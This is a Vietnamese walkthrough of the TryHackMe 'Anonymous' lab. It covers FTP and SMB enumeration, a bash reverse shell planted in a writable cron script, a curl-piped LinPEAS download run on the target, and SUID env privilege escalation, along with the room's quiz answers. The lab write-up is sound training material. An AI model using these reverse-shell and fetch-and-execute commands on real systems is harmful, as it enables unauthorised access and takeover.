Bài viết

TryHackMe - Anonymous

Không phải nhóm hacker

TryHackMe - Anonymous

Giới thiệu

Một máy khá dễ, thật kỳ lạ khi nó được đánh giá là Trung bình. Dù sao thì vẫn khá vui.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.11.75.122
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
|   256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_  256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Các cổng đang mở:

21/tcp 22/tcp 139/tcp 445/tcp

Câu hỏi:

Hãy liệt kê thông tin về máy. Có bao nhiêu cổng đang mở?

Câu trả lời:

1
4

Chúng ta cũng có thể trả lời ngay một số câu hỏi vì đây là các cổng và dịch vụ mặc định.

Câu hỏi:

Dịch vụ nào đang chạy trên cổng 21?

Câu trả lời:

1
ftp

Câu hỏi:

Dịch vụ nào đang chạy trên các cổng 139 và 445?

Câu trả lời:

1
smb

Trinh sát

Tôi đã thử đăng nhập vào dịch vụ FTP bằng tài khoản anonymous và có vẻ nó hoạt động, vì vậy tôi bắt đầu kiểm tra các tệp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp anonymous@10.10.12.102                                                                                 
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         1376 Feb 27 14:20 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> 

Chúng ta cũng có thể xem tên các SMB share bằng cách sau:

1
smbclient -L 10.10.12.102

Chỉ cần nhấn Enter và chúng ta sẽ đăng nhập với tư cách anonymous.

Câu hỏi:

Có một share trên máy tính của người dùng. Nó có tên là gì?

Câu trả lời:

1
pics

Chúng ta có tên người dùng NamelessOne.

Hãy tải tất cả các tệp xuống và kiểm tra chúng.

1
$ wget -m ftp://anonymous@10.10.12.102

User Flag

Bây giờ, chúng ta cần:

  1. Ghi reverse shell vào tệp clean.sh
  2. Đăng nhập FTP bằng tài khoản anonymous
  3. Tải tệp từ máy tấn công lên
1
2
3
4
#!/bin/bash

bash -i >& /dev/tcp/10.11.75.122/1337 0>&1

1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************|    56        1.57 MiB/s    00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp> 

Mở Netcat listener và chờ.

1
2
nc -lvnp 1337
listening on [any] 1337 ...

Sau khi chờ cron job chạy, chúng ta nhận được kết nối.

1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>

User Flag

Leo thang đặc quyền

Bây giờ đến phần leo thang đặc quyền.

Hãy sử dụng linpeas để kiểm tra các vector leo thang đặc quyền có thể khai thác.

  1. Tải LinPEAS từ GitHub
  2. Khởi động máy chủ HTTP cục bộ trên máy tấn công
  3. Chạy lệnh để tải tệp xuống và thực thi nó
1
sudo python3 -m http.server

Trên máy nạn nhân:

1
curl 10.11.75.122/linpeas.sh | sh

Có vẻ như chúng ta có thể sử dụng /env.

Nếu tệp nhị phân được thiết lập bit SUID, nó sẽ không loại bỏ các đặc quyền nâng cao.

Chúng ta có thể đọc root flag theo cách sau:

1
2
env /bin/sh
/usr/bin/env /bin/sh -p

Root Flag

Root Flag

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .